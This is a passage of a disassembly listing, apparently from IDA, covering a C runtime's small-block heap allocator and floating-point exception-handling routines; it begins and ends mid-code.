loc_41B841: ; CODE XREF: sub_41B592+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41B873 ; --------------------------------------------------------------------------- loc_41B84E: ; CODE XREF: sub_41B592+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B864 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41B864: ; CODE XREF: sub_41B592+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41B873: ; CODE XREF: sub_41B592+2BAj shr edx, cl or [eax], edx loc_41B877: ; CODE XREF: sub_41B592+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41B880: ; CODE XREF: sub_41B592+1A2j ; sub_41B592:loc_41B740j push 1 pop eax loc_41B883: ; CODE XREF: sub_41B592+1A9j pop edi pop esi pop ebx leave retn sub_41B592 endp ; =============== S U B R O U T I N E ======================================= sub_41B888 proc near ; CODE XREF: sub_41BB80:loc_41BD4Fp cmp dword_433EA0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41B89C mov esi, offset off_433E90 jmp short loc_41B8B9 ; --------------------------------------------------------------------------- loc_41B89C: ; CODE XREF: sub_41B888+Bj push 2020h push 0 push dword_4CF024 call near ptr 2710000h nop mov esi, eax test esi, esi jz loc_41B9C5 loc_41B8B9: ; CODE XREF: sub_41B888+12j mov ebp, dword_4241B4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41B9AE push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41B9A0 mov eax, offset off_433E90 cmp esi, eax jnz short loc_41B918 cmp off_433E90, 0 jnz short loc_41B908 mov off_433E90, eax loc_41B908: ; CODE XREF: sub_41B888+79j cmp off_433E94, 0 jnz short loc_41B92D mov off_433E94, eax jmp short loc_41B92D ; --------------------------------------------------------------------------- loc_41B918: ; CODE XREF: sub_41B888+70j mov [esi], eax mov eax, off_433E94 mov [esi+4], eax mov off_433E94, esi mov eax, [esi+4] mov [eax], esi loc_41B92D: ; CODE XREF: sub_41B888+87j ; sub_41B888+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41B94F: ; CODE XREF: sub_41B888+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41B94F push ebx push 0 push edi call sub_417330 add esp, 0Ch loc_41B978: ; CODE XREF: sub_41B888+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41B99C or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41B978 ; --------------------------------------------------------------------------- loc_41B99C: ; CODE XREF: sub_41B888+F7j mov eax, esi jmp short loc_41B9C7 ; --------------------------------------------------------------------------- loc_41B9A0: ; CODE XREF: sub_41B888+63j push 8000h push 0 push edi call near ptr 28506F0h nop loc_41B9AE: ; CODE XREF: sub_41B888+4Bj cmp esi, offset off_433E90 jz short loc_41B9C5 push esi push 0 push dword_4CF024 nop call near ptr 2700000h loc_41B9C5: ; CODE XREF: sub_41B888+2Bj ; sub_41B888+12Cj xor eax, eax loc_41B9C7: ; CODE XREF: sub_41B888+116j pop edi pop esi pop ebp pop ebx retn sub_41B888 endp ; =============== S U B R O U T I N E ======================================= sub_41B9CC proc near ; CODE XREF: sub_41BA22+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 28506F0h cmp off_435EB0, esi jnz short loc_41B9F1 mov eax, [esi+4] mov off_435EB0, eax loc_41B9F1: ; CODE XREF: sub_41B9CC+1Bj cmp esi, offset off_433E90 jz short loc_41BA19 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4CF024 nop call near ptr 2700000h pop esi retn ; --------------------------------------------------------------------------- loc_41BA19: ; CODE XREF: sub_41B9CC+2Bj or dword_433EA0, 0FFFFFFFFh pop esi retn sub_41B9CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA22 proc near ; CODE XREF: sub_41BB3B+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_433E94 push edi loc_41BA2F: ; CODE XREF: sub_41BA22+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41BACD and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41BA48: ; CODE XREF: sub_41BA22+72j cmp dword ptr [edi], 0F0h jnz short loc_41BA89 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 28506F0h test eax, eax jz short loc_41BA89 or dword ptr [edi], 0FFFFFFFFh dec dword_4CDA1C mov eax, [esi+0Ch] test eax, eax jz short loc_41BA7E cmp eax, edi jbe short loc_41BA81 loc_41BA7E: ; CODE XREF: sub_41BA22+56j mov [esi+0Ch], edi loc_41BA81: ; CODE XREF: sub_41BA22+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41BA96 loc_41BA89: ; CODE XREF: sub_41BA22+2Cj ; sub_41BA22+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41BA48 loc_41BA96: ; CODE XREF: sub_41BA22+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41BACD cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41BACD push 1 lea eax, [ecx+20h] pop edx loc_41BAAD: ; CODE XREF: sub_41BA22+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41BABE inc edx add eax, 8 cmp edx, 400h jl short loc_41BAAD loc_41BABE: ; CODE XREF: sub_41BA22+8Ej cmp edx, 400h jnz short loc_41BACD push ecx call sub_41B9CC pop ecx loc_41BACD: ; CODE XREF: sub_41BA22+11j ; sub_41BA22+7Dj ... cmp esi, off_433E94 jz short loc_41BADF cmp [ebp+arg_0], 0 jg loc_41BA2F loc_41BADF: ; CODE XREF: sub_41BA22+B1j pop edi pop esi pop ebx leave retn sub_41BA22 endp ; =============== S U B R O U T I N E ======================================= sub_41BAE4 proc near ; CODE XREF: sub_417C3B+3Ap ; sub_41944F+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_433E90 push esi mov ecx, edx loc_41BAF0: ; CODE XREF: sub_41BAE4+1Cj cmp eax, [ecx+10h] jbe short loc_41BAFA cmp eax, [ecx+14h] jb short loc_41BB02 loc_41BAFA: ; CODE XREF: sub_41BAE4+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41BB37 jmp short loc_41BAF0 ; --------------------------------------------------------------------------- loc_41BB02: ; CODE XREF: sub_41BAE4+14j test al, 0Fh jnz short loc_41BB37 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41BB37 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41BB37: ; CODE XREF: sub_41BAE4+1Aj ; sub_41BAE4+20j ... xor eax, eax pop esi retn sub_41BAE4 endp ; =============== S U B R O U T I N E ======================================= sub_41BB3B proc near ; CODE XREF: sub_417C3B+4Dp ; sub_41944F+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41BB7F inc dword_4CDA1C cmp dword_4CDA1C, 20h jnz short locret_41BB7F push 10h call sub_41BA22 pop ecx locret_41BB7F: ; CODE XREF: sub_41BB3B+2Bj ; sub_41BB3B+3Aj retn sub_41BB3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB80 proc near ; CODE XREF: sub_417BC7+4Ap ; sub_41944F+1ACp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_435EB0 push edi loc_41BB8E: ; CODE XREF: sub_41BB80+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41BC39 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41BBF3 loc_41BBB9: ; CODE XREF: sub_41BB80+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41BBDC cmp [edi+4], ebx jbe short loc_41BBDC push ebx push ecx push eax call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov eax, [ebp+var_4] mov [edi+4], ebx loc_41BBDC: ; CODE XREF: sub_41BB80+40j ; sub_41BB80+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41BBB9 jmp short loc_41BBF6 ; --------------------------------------------------------------------------- loc_41BBF3: ; CODE XREF: sub_41BB80+37j mov ebx, [ebp+arg_0] loc_41BBF6: ; CODE XREF: sub_41BB80+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41BC3C loc_41BC09: ; CODE XREF: sub_41BB80+B5j mov eax, [edi] cmp eax, ebx jl short loc_41BC28 cmp [edi+4], ebx jbe short loc_41BC28 push ebx push eax push [ebp+var_4] call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov [edi+4], ebx loc_41BC28: ; CODE XREF: sub_41BB80+8Dj ; sub_41BB80+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41BC09 jmp short loc_41BC3C ; --------------------------------------------------------------------------- loc_41BC39: ; CODE XREF: sub_41BB80+14j mov ebx, [ebp+arg_0] loc_41BC3C: ; CODE XREF: sub_41BB80+87j ; sub_41BB80+B7j mov esi, [esi] cmp esi, off_435EB0 jz short loc_41BC5B jmp loc_41BB8E ; --------------------------------------------------------------------------- loc_41BC4B: ; CODE XREF: sub_41BB80+54j ; sub_41BB80+A3j mov off_435EB0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41BD83 ; --------------------------------------------------------------------------- loc_41BC5B: ; CODE XREF: sub_41BB80+C4j mov eax, offset off_433E90 mov edi, eax loc_41BC62: ; CODE XREF: sub_41BB80+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41BC6E cmp dword ptr [edi+0Ch], 0 jnz short loc_41BC7A loc_41BC6E: ; CODE XREF: sub_41BB80+E6j mov edi, [edi] cmp edi, eax jz loc_41BD4F jmp short loc_41BC62 ; --------------------------------------------------------------------------- loc_41BC7A: ; CODE XREF: sub_41BB80+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41BCA9 loc_41BC98: ; CODE XREF: sub_41BB80+127j cmp [ebp+var_4], 10h jge short loc_41BCA9 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41BC98 loc_41BCA9: ; CODE XREF: sub_41BB80+116j ; sub_41BB80+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 2850842h cmp eax, esi jnz loc_41BD81 push 0 push [ebp+var_8] push esi call sub_417330 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41BD10 lea eax, [esi+4] mov [ebp+var_4], edx loc_41BCE6: ; CODE XREF: sub_41BB80+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41BCE6 loc_41BD10: ; CODE XREF: sub_41BB80+15Ej mov off_435EB0, edi lea eax, [edi+2018h] loc_41BD1C: ; CODE XREF: sub_41BB80+1A8j cmp ecx, eax jnb short loc_41BD2C cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41BD2A add ecx, 8 jmp short loc_41BD1C ; --------------------------------------------------------------------------- loc_41BD2A: ; CODE XREF: sub_41BB80+1A3j cmp ecx, eax loc_41BD2C: ; CODE XREF: sub_41BB80+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD4F: ; CODE XREF: sub_41BB80+F2j call sub_41B888 test eax, eax jz short loc_41BD81 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_435EB0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD81: ; CODE XREF: sub_41BB80+143j ; sub_41BB80+1D6j xor eax, eax loc_41BD83: ; CODE XREF: sub_41BB80+D6j ; sub_41BB80+1CDj ... pop edi pop esi pop ebx leave retn sub_41BB80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD88 proc near ; CODE XREF: sub_41BB80+4Ap ; sub_41BB80+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41BDCD lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41BDBC add [ecx], edx sub [ecx+4], edx jmp short loc_41BDC5 ; --------------------------------------------------------------------------- loc_41BDBC: ; CODE XREF: sub_41BD88+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BDC5: ; CODE XREF: sub_41BD88+32j lea eax, [edi+8] jmp loc_41BE9B ; --------------------------------------------------------------------------- loc_41BDCD: ; CODE XREF: sub_41BD88+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41BDD6 mov eax, esi loc_41BDD6: ; CODE XREF: sub_41BD88+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41BE20 loc_41BDDD: ; CODE XREF: sub_41BD88+96j mov bl, [eax] test bl, bl jnz short loc_41BE13 push 1 lea ebx, [eax+1] pop esi loc_41BDE9: ; CODE XREF: sub_41BD88+68j cmp byte ptr [ebx], 0 jnz short loc_41BDF2 inc ebx inc esi jmp short loc_41BDE9 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BD88+64j cmp esi, edx jnb short loc_41BE44 cmp eax, [ebp+var_4] jnz short loc_41BE00 mov [ecx+4], esi jmp short loc_41BE0C ; --------------------------------------------------------------------------- loc_41BE00: ; CODE XREF: sub_41BD88+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41BEA5 loc_41BE0C: ; CODE XREF: sub_41BD88+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41BE18 ; --------------------------------------------------------------------------- loc_41BE13: ; CODE XREF: sub_41BD88+59j movzx esi, bl add eax, esi loc_41BE18: ; CODE XREF: sub_41BD88+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41BDDD loc_41BE20: ; CODE XREF: sub_41BD88+53j lea esi, [ecx+8] loc_41BE23: ; CODE XREF: sub_41BD88+EBj ; sub_41BD88+F2j cmp esi, edi jnb short loc_41BEA5 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41BEA5 mov al, [esi] test al, al jnz short loc_41BE75 push 1 lea ebx, [esi+1] pop eax loc_41BE3B: ; CODE XREF: sub_41BD88+BAj cmp byte ptr [ebx], 0 jnz short loc_41BE65 inc ebx inc eax jmp short loc_41BE3B ; --------------------------------------------------------------------------- loc_41BE44: ; CODE XREF: sub_41BD88+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE55 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41BE5E ; --------------------------------------------------------------------------- loc_41BE55: ; CODE XREF: sub_41BD88+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41BE5E: ; CODE XREF: sub_41BD88+CBj mov [eax], dl add eax, 8 jmp short loc_41BE9B ; --------------------------------------------------------------------------- loc_41BE65: ; CODE XREF: sub_41BD88+B6j cmp eax, edx jnb short loc_41BE7C sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41BEA5 mov esi, ebx jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE75: ; CODE XREF: sub_41BD88+ABj movzx eax, al add esi, eax jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BD88+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE8D sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41BE96 ; --------------------------------------------------------------------------- loc_41BE8D: ; CODE XREF: sub_41BD88+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BE96: ; CODE XREF: sub_41BD88+103j mov [esi], dl lea eax, [esi+8] loc_41BE9B: ; CODE XREF: sub_41BD88+40j ; sub_41BD88+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41BEA7 ; --------------------------------------------------------------------------- loc_41BEA5: ; CODE XREF: sub_41BD88+7Ej ; sub_41BD88+9Dj ... xor eax, eax loc_41BEA7: ; CODE XREF: sub_41BD88+11Bj pop edi pop esi pop ebx leave retn sub_41BD88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BEAC proc near ; CODE XREF: sub_41944F+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41BEE6 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BEE6: ; CODE XREF: sub_41BEAC+26j jnb short loc_41BF4D mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41BF4D lea eax, [ecx+edx] loc_41BEFB: ; CODE XREF: sub_41BEAC+59j cmp eax, esi jnb short loc_41BF09 cmp byte ptr [eax], 0 jnz short loc_41BF07 inc eax jmp short loc_41BEFB ; --------------------------------------------------------------------------- loc_41BF07: ; CODE XREF: sub_41BEAC+56j cmp eax, esi loc_41BF09: ; CODE XREF: sub_41BEAC+51j jnz short loc_41BF4D mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41BF41 cmp esi, eax jbe short loc_41BF41 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41BF38 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41BF33 loc_41BF2C: ; CODE XREF: sub_41BEAC+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41BF2C loc_41BF33: ; CODE XREF: sub_41BEAC+7Ej mov [ebx+4], eax jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF38: ; CODE XREF: sub_41BEAC+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41BF41: ; CODE XREF: sub_41BEAC+68j ; sub_41BEAC+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41BF46: ; CODE XREF: sub_41BEAC+38j mov [ebp+var_4], 1 loc_41BF4D: ; CODE XREF: sub_41BEAC:loc_41BEE6j ; sub_41BEAC+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41BEAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_41BF55(int,int,double,int) sub_41BF55 proc near ; CODE XREF: sub_417CA4+51p ; sub_417DEB+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_436608, 0 jnz short loc_41BF8A push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_41C50A add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_41BF8A: ; CODE XREF: sub_41BF55+Aj push 0FFFFh mov dword_4CD9B4, 21h push [ebp+arg_C] call sub_41C77D fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_41BF55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41BFA8(int,int,double,double,int) sub_41BFA8 proc near ; CODE XREF: sub_417CA4:loc_417D67p ; sub_417DEB:loc_417EAEp var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_41C2F3 add esp, 0Ch test eax, eax jnz short loc_41BFE6 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_41C040 add esp, 18h loc_41BFE6: ; CODE XREF: sub_41BFA8+1Aj push [ebp+arg_0] call sub_41C5DD cmp dword_436608, 0 pop ecx jnz short loc_41C024 test eax, eax jz short loc_41C024 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_41C50A add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_41C024: ; CODE XREF: sub_41BFA8+4Ej ; sub_41BFA8+52j push eax call sub_41C592 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_41C77D fld [ebp+arg_10] pop ecx pop ecx leave retn sub_41BFA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C040 proc near ; CODE XREF: sub_41BFA8+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_41C072 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_41C072: ; CODE XREF: sub_41C040+23j test cl, 2 jz short loc_41C085 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_41C085: ; CODE XREF: sub_41C040+35j test cl, bl jz short loc_41C097 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_41C097: ; CODE XREF: sub_41C040+47j test cl, 4 jz short loc_41C0AA mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_41C0AA: ; CODE XREF: sub_41C040+5Aj test cl, 8 jz short loc_41C0BD mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_41C0BD: ; CODE XREF: sub_41C040+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_41C760 test al, bl jz short loc_41C146 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_41C146: ; CODE XREF: sub_41C040+FDj test al, 4 jz short loc_41C151 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_41C151: ; CODE XREF: sub_41C040+108j test al, 8 jz short loc_41C15C mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_41C15C: ; CODE XREF: sub_41C040+113j test al, 10h jz short loc_41C166 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41C166: ; CODE XREF: sub_41C040+11Ej test al, 20h jz short loc_41C170 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_41C170: ; CODE XREF: sub_41C040+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_41C1AF cmp eax, 400h jz short loc_41C1A1 cmp eax, 800h jz short loc_41C195 cmp eax, ecx jnz short loc_41C1B5 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C195: ; CODE XREF: sub_41C040+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_41C1AB ; --------------------------------------------------------------------------- loc_41C1A1: ; CODE XREF: sub_41C040+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_41C1AB: ; CODE XREF: sub_41C040+15Fj mov [eax], ecx jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C1AF: ; CODE XREF: sub_41C040+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41C1B5: ; CODE XREF: sub_41C040+14Bj ; sub_41C040+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_41C1E0 cmp eax, 200h jz short loc_41C1D3 cmp eax, ecx jnz short loc_41C1ED mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_41C1ED ; --------------------------------------------------------------------------- loc_41C1D3: ; CODE XREF: sub_41C040+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_41C1EB ; --------------------------------------------------------------------------- loc_41C1E0: ; CODE XREF: sub_41C040+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_41C1EB: ; CODE XREF: sub_41C040+19Ej mov [eax], ecx loc_41C1ED: ; CODE XREF: sub_41C040+189j ; sub_41C040+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 